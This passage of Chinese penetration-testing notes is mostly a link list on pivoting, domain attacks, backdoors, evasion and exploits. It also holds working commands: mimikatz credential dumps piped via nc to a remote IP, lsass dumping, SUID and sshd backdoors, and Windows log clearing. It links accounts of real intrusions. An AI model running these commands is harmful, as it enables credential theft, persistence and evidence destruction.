  `mimikatz.exe ""privilege::debug"" ""sekurlsa::logonpasswords full"" exit | nc -vv 192.168.3.251 1234`
- 抓取密码重定向到TXT
  `mimikatz.exe ""privilege::debug"" ""log sekurlsa::logonpasswords full"" exit >> shash.txt`
- procdump配合mimikatz（dump下来的文件要放在和目标系统一致的环境中执行）

```
Victimer # procdump64.exe -accepteula -ma lsass.exe lsass.dmp
attacker # mimikatz.exe
attacker # sekurlsa::minidump lsass.dmp
attacker # sekurlsa::logonPasswords full
```

- 抓取本地登陆远程桌面保持的密码，用的是Mimikatz

```
privilege::debug
vault::cred /patch
或
mimikatz.exe "privilege::debug" "vault::cred /path" "exit" >>1.txt
```

- 抓取VPN账号密码
  - 姿势一 `mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam" "lsadump::secrets" "exit"`
  - 姿势二 `http://www.nirsoft.net/utils/dialupass.html`

密码破解系列
`http://zeroyu.xyz/2017/10/28/%E5%AF%86%E7%A0%81%E7%A0%B4%E8%A7%A3%E7%B3%BB%E5%88%97/`

内网渗透

内网渗透（持续更新） #--# 不错的

`http://rcoil.me/2017/06/%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F/`

我所了解的内网渗透——内网渗透知识大总结 #--# 不错的

`https://www.anquanke.com/post/id/92646`

内网安全之域服务账号破解实践

`https://www.anquanke.com/post/id/85606`

命令行下的信息搜集

`http://www.secange.com/2017/08/%e5%91%bd%e4%bb%a4%e8%a1%8c%e4%b8%8b%e7%9a%84%e4%bf%a1%e6%81%af%e6%90%9c%e9%9b%86-2/`

metasploit渗透测试之信息收集（一）

`http://mp.weixin.qq.com/s/jULhbW8MbNSC2NGCt82y5A`

MS17-010漏洞检测与内网穿透技术的应用(自身在内网的情况)

`http://fuping.site/2017/04/21/MS17-010-Vulnerability-Detection-And-Ngrok/`

CentOS 7 搭建ngrok服务器 内网穿透，从此不再需要花生壳

`https://ubock.com/article/31`

使用Powershell反弹Meterpreter Shell

`http://www.mottoin.com/87266.html`

内网渗透命令大全

`https://www.t00ls.net/articles-39285.html`

内网穿透

要内网渗透，要先打通与目标之间的网络

使用 MSF 路由转发实现MSF框架的内网渗透

`http://bobao.360.cn/learning/detail/4164.html`

内网漫游之SOCKS代理大结局

`https://www.anquanke.com/post/id/85494`

内网渗透随想

`https://www.secpulse.com/archives/5432.html`

穿越边界的姿势

`https://mp.weixin.qq.com/s?__biz=MzI5MDQ2NjExOQ==&mid=2247484014&idx=1&sn=78fcbe24a3956ed1a0bf3fba594eb0d9`

反弹转发代理穿透的姿势

`http://www.cnnetarmy.com/%E5%8F%8D%E5%BC%B9%E8%BD%AC%E5%8F%91%E4%BB%A3%E7%90%86%E7%A9%BF%E9%80%8F%E7%9A%84%E5%A7%BF%E5%8A%BF/` PDF

后渗透：ESXi反弹Shell

`https://www.anquanke.com/post/id/93672`

使用frp实现内网穿透

`http://www.jianshu.com/p/e8e26bcc6fe6`

MSF内网跳板详解

`http://www.freebuf.com/sectool/56432.html`

【合集】内网端口转发及穿透

`https://xianzhi.aliyun.com/forum/read/1715.html`

Intranet_penetration内网穿透

`http://blog.7ell.me/2017/06/03/Intranet-penetration/`

Web端口复用正向后门研究实现与防御

`http://www.freebuf.com/articles/web/142628.html`

用啥Ngrok，用SSH解决大局域网反向端口转发问题

`http://www.freebuf.com/articles/network/142034.html`

几款内网转发的工具

`https://mp.weixin.qq.com/s/EWL9-AUB_bTf7pU4S4A2zg`

内网端口转发及穿透

`https://xianzhi.aliyun.com/forum/read/1715.html`

使用SSH反向隧道进行内网穿透

`https://0x9.me/yNWL5`

内网代理工具

reGeorg

`http://blog.csdn.net/na_tion/article/details/47728121`

域渗透

- **初级域渗透系列 - 01. 基本介绍&信息获取**
  `https://www.t00ls.net/thread-30541-1-1.html`
- **初级域渗透系列 - 02. 常见攻击方法 - 1**
  `https://www.t00ls.net/thread-30632-1-1.html`
- **初级域渗透系列 - 03. 常见攻击方法 - 2**
  `https://www.t00ls.net/thread-30781-1-1.html`
- 域组策略种马-MS15011
  `http://www.triplekill.org/index.php/archives/16.html`
- 利用域委派获取域管理权限
  `https://www.anquanke.com/post/id/92484`
- 域内渗透（一）
  `https://zhuanlan.zhihu.com/p/22710907`
- 内网渗透测试定位技术总结
  `http://www.mottoin.com/92978.html`
- 域渗透TIPS：获取LAPS管理员密码
  `http://www.freebuf.com/articles/web/142659.html`
- 如何通过 SSH 隧道进行域渗透的 PtT 攻击
  `http://paper.seebug.org/321/`
- 域渗透之Exchange Server
  `http://bobao.360.cn/learning/detail/4145.html`
- 使用Kerberoast破解Kerberos TGS票据：利用Kerberos突破活动目录域
  `http://bobao.360.cn/learning/detail/4256.html`
- 如何使用ldapsearch来dump域中的LAPS密码
  `http://bobao.360.cn/learning/detail/4151.html`

横向渗透

中间人攻击

渗透测试：内网DNS投毒技术劫持会话
`http://www.freebuf.com/articles/web/43157.html`

Ettercap 使用进阶（1）：详细参数
`http://xiao106347.blog.163.com/blog/static/215992078201463028519 04/`
已保存为PDF

利用ettercap进行简单的arp欺骗和mitm攻击
`https://www.secpulse.com/archives/6068.html` 已保存为PDF

毒化内网两三事 - 用ettercap搞定邻家妹妹 heatlevel
`https://bbs.ichunqiu.com/thread-11684-1-1.html` 已保存为PDF

backdoor

那些年，我们一起玩过的后门 #--#介绍了win和lin的后门
`http://bobao.360.cn/learning/detail/3218.html`

一种深度隐蔽的域后门方式
`http://bobao.360.cn/learning/detail/4599.html`

如何分析中国菜刀是否包含后门？
`http://www.freebuf.com/articles/system/93323.html`

Powershell之MOF后门
`http://cb.drops.wiki/drops/tips-12354.html`

手把手教你编写一个简单的PHP模块形态的后门
`http://www.freebuf.com/articles/web/141911.html`

如何基于Python写一个TCP反向连接后门
`https://www.anquanke.com/post/id/92401`

超级后门PLATINUM组织隐蔽通信工具分析（含演示视频）
`http://bobao.360.cn/learning/detail/3967.html`

【技术分享】CVE-2016-5483：利用mysqldump备份可生成后门
`http://bobao.360.cn/learning/detail/3591.html`

Windows backdoor

利用userinit注册表键实现无文件后门
`https://www.anquanke.com/post/id/92707`

Linux backdoor

简单后门
ln -sf /usr/sbin/sshd /tmp/su;nohup /tmp/su -oPort=2022 &
`http://www.freebuf.com/articles/system/138753.html`

```
留下后门：
root# cat /etc/shells
root# cp /bin/dash /var/tmp/.bdash
root# chmod a+s /var/tmp/.bdash
root# ls -ln  /var/tmp/.bdash
调用：
postgres# cd /var/tmp
postgres# ./.bdash
# id
# tail  /etc/shadow
```

Linux rootkit mafix

linux suid后门

Linux Rootkit系列一：LKM的基础编写及隐藏
`http://www.freebuf.com/articles/system/54263.html`

Linux Rootkit 系列二：基于修改 sys_call_table 的系统调用挂钩
`http://www.freebuf.com/sectool/105713.html`

Linux Rootkit系列三：实例详解 Rootkit 必备的基本功能
`http://www.freebuf.com/articles/system/107829.html`

Linux Rootkit 系列四：对于系统调用挂钩方法的补充
`http://www.freebuf.com/articles/system/108392.html`

Linux Rootkit 系列五：感染系统关键内核模块实现持久化
`http://www.freebuf.com/articles/system/109034.html`

使用Rkhunter检测Rootkit渗透
`http://www.ywnds.com/?p=6905`

Linux PAM&&PAM后门
`http://cb.drops.wiki/drops/tips-1288.html`

Linux环境下后门维持的N种姿势
`http://www.tuicool.com/articles/eIv22az`

一款短小精致的SSH后门分析
`http://www.freebuf.com/articles/system/140880.html`

Linux后门整理合集（脉搏推荐）
`https://www.secpulse.com/archives/59674.html`

Web backdoor

如何优雅的维持住一个Web shell
`https://ub3r.cn/?p=30` -- 保存

php一句话木马集合
`http://www.cnnetarmy.com/php%E4%B8%80%E5%8F%A5%E8%AF%9D%E6%9C%A8%E9%A9%AC%E9%9B%86%E5%90%88/`

MS/CVE/EXP利用

也谈Weblogic漏洞CVE-2017-10271的利用方法
`http://www.freebuf.com/vuls/160367.html`

CVE-2017-8570 OFFICE远程命令执行
`http://qq1.ltd/?p=32`

Office DDE多种利用方式已公开
`http://bobao.360.cn/learning/detail/4592.html` 已保存PDF

CVE-2017-8759复现 又是office
`https://ub3r.cn/?p=66`

Office高级威胁漏洞在野利用分析
`http://bobao.360.cn/learning/detail/4220.html`

ppt文档钓鱼新思路结合powershell后门利用
`https://0x9.me/PCZHn`

震网三代 CVE-2017-8464
`http://t.cn/RCD6Oqv`

JBoss系列

- CVE-2017-7504 - JBossMQ JMS
  `https://github.com/joaomatosf/JavaDeserH2HC/`
- CVE-2017-12149 - JBoss 6.X and EAP 5.X
  `https://github.com/joaomatosf/JavaDeserH2HC/`
- JMX RMI 攻击利用
  `https://threathunter.org/topic/599e8aebec721b1f1966e976`
- Exploiting struts2-rest XStream Deserialization with Reverse Shell
  `https://github.com/joaomatosf/JavaDeserH2HC/`

利用Pentestbox打造MS17-010移动"杀器"
`http://www.freebuf.com/articles/system/132274.html`

MS17-010原版
`https://github.com/x0rz/EQGRP_Lost_in_Translation/tree/master`

LNKUp：生成恶意LNK文件payload用于渗出数据
`https://github.com/Plazmaz/LNKUp`

IIS6.0 CVE-2017-7269 批量检测POC
`https://0x9.me/UmMNP`

CVE–2017–8543 Windows Search远程代码执行漏洞预警(含演示)
`http://bobao.360.cn/learning/detail/4204.html`

EXP-CVE-2016-3935
`https://github.com/jiayy/android_vuln_poc-exp/tree/master/EXP-CVE-2016-3935`

全面复现Esteemaudit利用过程(含域环境搭建过程)
`http://bobao.360.cn/learning/detail/4021.html`

免杀/bypass

通过一些姿势来免杀/绕过杀软、waf
根据powershell语言的特性来混淆代码的方法与原理
`http://bobao.360.cn/learning/detail/4266.html`

披着羊皮的狼：如何利用Windows图标显示漏洞伪装PE文件
`http://bobao.360.cn/learning/detail/4230.html`

bypass国内各种盾、狗、神

过360 云锁 安全狗添加管理员账户 NETAPI32 源码+成品
`https://www.t00ls.net/thread-41913-1-1.html`

Bypass安全狗防注入、防上传等
`www.lsafe.org/?p=314`

Cobalt Strike/Metasploit

Meterpreter免杀技巧分享
`http://wolvez.club/?p=327`

Windows Payload免杀方法实验
`http://www.freebuf.com/articles/system/156710.html`

打造不被检测的Metasploit WAR
`http://www.secange.com/2017/09/%E6%89%93%E9%80%A0%E4%B8%8D%E8%A2%AB%E6%A3%80%E6%B5%8B%E7%9A%84metasploit-war/`

工具解析|杀毒引擎惨遭打脸，黑帽大会爆惊天免杀工具
`http://www.freebuf.com/news/142758.html`

使用Python检测并绕过Web应用程序防火墙
`http://www.freebuf.com/articles/web/138589.html`

【Blackhat】avet：杀软绕过工具使用教程
`http://bobao.360.cn/learning/detail/4196.html`

绕过杀软执行payload
`http://wolvez.club/?p=686`

Anti-AntiVirus
`https://04z.net/2017/08/14/Anti-AntiVirus/`

python加密代码
`http://rcoil.me/2017/04/armitage%E4%BD%BF%E7%94%A8/`

注入bypass

深入理解SQL注入绕过WAF和过滤机制
`http://www.cnblogs.com/r00tgrok/p/SQL_Injection_Bypassing_WAF_And_Evasion_Of_Filter.html`

MYSQL注入绕某狗fuzz工具-python多线程
`https://www.t00ls.net/thread-42865-1-1.html`

SQLMap

编写简单tamper绕过encode编码
`https://www.t00ls.net/articles-37790.html`

日志/溯源：

清除所有日志

```
```

```
wevtutil cl "windows powershell"
wevtutil cl "security"
wevtutil cl "system"
```

如何检测PowerShell攻击活动
`http://bobao.360.cn/learning/detail/4724.html`

Linux应急响应姿势浅谈
`http://bobao.360.cn/learning/detail/4481.html`

shell在手分析服务器日志不愁
`https://segmentfault.com/a/1190000009745139`

通过服务器日志溯源web应用攻击路径
`http://www.freebuf.com/articles/web/138867.html`

Linux

快速自检电脑是否被黑客入侵过（Linux版）
`http://www.freebuf.com/articles/system/157597.html`

Linux应急响应姿势浅谈
`http://bobao.360.cn/learning/detail/4481.html`

渗透测试TIPS之删除、伪造Linux系统登录日志
`http://www.freebuf.com/articles/system/141474.html`

服务器运维丨谁动了我的主机之History命令
`https://www.secpulse.com/archives/59375.html`

看我如何用20行代码做日志分析
`https://www.secpulse.com/archives/59608.html`

windos

快速自检电脑是否被黑客入侵过(Windows版)
`http://m.imooc.com/article/21236` PDF

Windows 日志攻防之攻击篇
`https://threathunter.org/topic/593eb1bbb33ad233198afcfa`

渗透技巧——Windows日志的删除与绕过
`http://t.cn/RoDwJPM`

系统加固：

Linux：

Linux基线加固
`http://mp.weixin.qq.com/s/0nxiZw1NUoQTjxcd3zl6Zg`

各种总结

端口渗透总结
`http://docs.ioin.in/writeup/blog.heysec.org/_archives_577/index.html`

乙方渗透测试之Fuzz爆破
`http://www.cnnetarmy.com/%E4%B9%99%E6%96%B9%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%E4%B9%8Bfuzz%E7%88%86%E7%A0%B4/` HTML

Tomcat、Weblogic、JBoss、GlassFish、Resin、Websphere弱口令及拿webshell方法总结
`http://www.hack80.com/thread-22662-1-1.html` PDF

浅谈中间件漏洞与防护
`https://thief.one/2017/05/25/1/` PDF

拿下webshell之后小朋友们应该怎么做
`https://paper.tuisec.win/detail/19d3fae27653722`

知其一不知其二之Jenkins Hacking
`https://www.secpulse.com/archives/2166.html`

挖掘漏洞的高级方法和思维（Part.1）
`http://www.4hou.com/vulnerable/8376.html`

挖掘漏洞的高级方法和思维（Part.2）
`http://www.4hou.com/info/news/8397.html`

wordpress日常入侵方法
`http://mp.weixin.qq.com/s/EPkVCpsCts215-oNiCR0Ow`

不同行业网站漏洞集合
`http://wap.qidian.qq.com/ol/rest/view/2852153209_10348_2_1509097834`
PDF

黑客是如何入侵网站？渗透测试基本思路

`http://hackjason.com/post-50.html`

关于企业的渗透测试流程
`http://www.jianshu.com/p/d85a94767ef1`

各种渗透案例

包括不限于WEB渗透、内网渗透的各种精品案例，并保存为PDF存在本地

综合渗透案例

如何通过一台电脑黑掉一个国家？
`https://www.08sec.com/reprinted/16348.html`

“无文件”攻击方式渗透实验
`http://www.freebuf.com/articles/system/129228.html`

【渗透技巧】浅谈常规渗透瓶颈，实例发散思维突破
`http://mp.weixin.qq.com/s/kiOAk2VfgkS51A_gwd23qw?client=tim&ADUIN=1573440640&ADSESSION=1512697227&ADTAG=CLIENT.QQ.5531_.0&ADPUBNO=26745`

内网渗透案例

WebLogic SSRF + Redis内网入侵
`http://ecma.io/607.html`

Metasploit驰骋内网直取域管首级
`https://www.anquanke.com/post/id/85518`

- 我是如何通过命令执行到最终获取内网Root权限的
  `http://www.freebuf.com/articles/web/141579.html`
- 美图内网漫游(沦陷大量内部系统、内部服务器权限、企业架构、企业邮箱等敏感信息）
  `https://www.secpulse.com/archives/35645.html`

silic的渗透案例

> 以下几篇为silic的核心成员bodylive的文章

- 换个思路，对某培训机构进行一次 YD 的社工检测
  `https://bobylive.com/static/1936996`
- 无意射进学籍档案管理系统
  `https://bobylive.com/static/1935888`
- 大数据推倒兄弟学校主页
  `https://bobylive.com/static/1936440`
- 一次学校图书馆的渗透检测
  `https://bobylive.com/static/1936901`

> 以下几篇为Silic Group的文章

- 进入越南财政部内网部分细节
  `https://silic.wiki/%E4%B9%A0%E7%A7%91%E6%97%A7%E7%AB%99:%E8%BF%9B%E5%85%A5%E8%B6%8A%E5%8D%97%E8%B4%A2%E6%94%BF%E9%83%A8%E5%86%85%E7%BD%91%E9%83%A8%E5%88%86%E7%BB%86%E8%8A%82`
- 韩国大纪元过程 - 原内部参阅
  `https://silic.wiki/%E4%B9%A0%E7%A7%91%E6%97%A7%E7%AB%99:%E9%9F%A9%E5%9B%BD%E5%A4%A7%E7%BA%AA%E5%85%83%E8%BF%87%E7%A8%8B`
- apt持续性综合渗透经验谈第一讲-从web到pc
  `https://silic.wiki/%E4%B9%A0%E7%A7%91%E6%97%A7%E7%AB%99:apt%E6%8C%81%E7%BB%AD%E6%80%A7%E7%BB%BC%E5%90%88%E6%B8%97%E9%80%8F%E7%BB%8F%E9%AA%8C%E8%B0%88%E7%AC%AC%E4%B8%80%E8%AE%B2-%E4%BB%8Eweb%E5%88%B0pc`
- apt持续性综合渗透经验谈第二讲-从web到pc
  `https://silic.wiki/%E4%B9%A0%E7%A7%91%E6%97%A7%E7%AB%99:apt%E6%8C%81%E7%BB%AD%E6%80%A7%E7%BB%BC%E5%90%88%E6%B8%97%E9%80%8F%E7%BB%8F%E9%AA%8C%E8%B0%88%E7%AC%AC%E4%BA%8C%E8%AE%B2-%E4%BB%8Eweb%E5%88%B0pc`
- **小说_习科论坛作战故事**
  `https://silic.wiki/_media/%E4%B9%A0%E7%A7%91%E6%97%A7%E7%AB%99:%E5%B0%8F%E8%AF%B4_%E4%B9%A0%E7%A7%91%E8%AE%BA%E5%9D%9B%E4%BD%9C%E6%88%98%E6%95%85%E4%BA%8B.pdf`

其他类文章

暗网漫游记
`http://www.cnnetarmy.com/%E6%9A%97%E7%BD%91%E6%BC%AB%E6%B8%B8%E8%AE%B0/`

数据库

MongoDB

MongoDB入门之索引篇
`https://paper.tuisec.win/detail/eaa790a3fa30d03`

代码审计

PHP代码审计

PHP代码审计导图
`https://www.cdxy.me/?p=779`

ASP代码审计

JSP代码审计

其他代码审计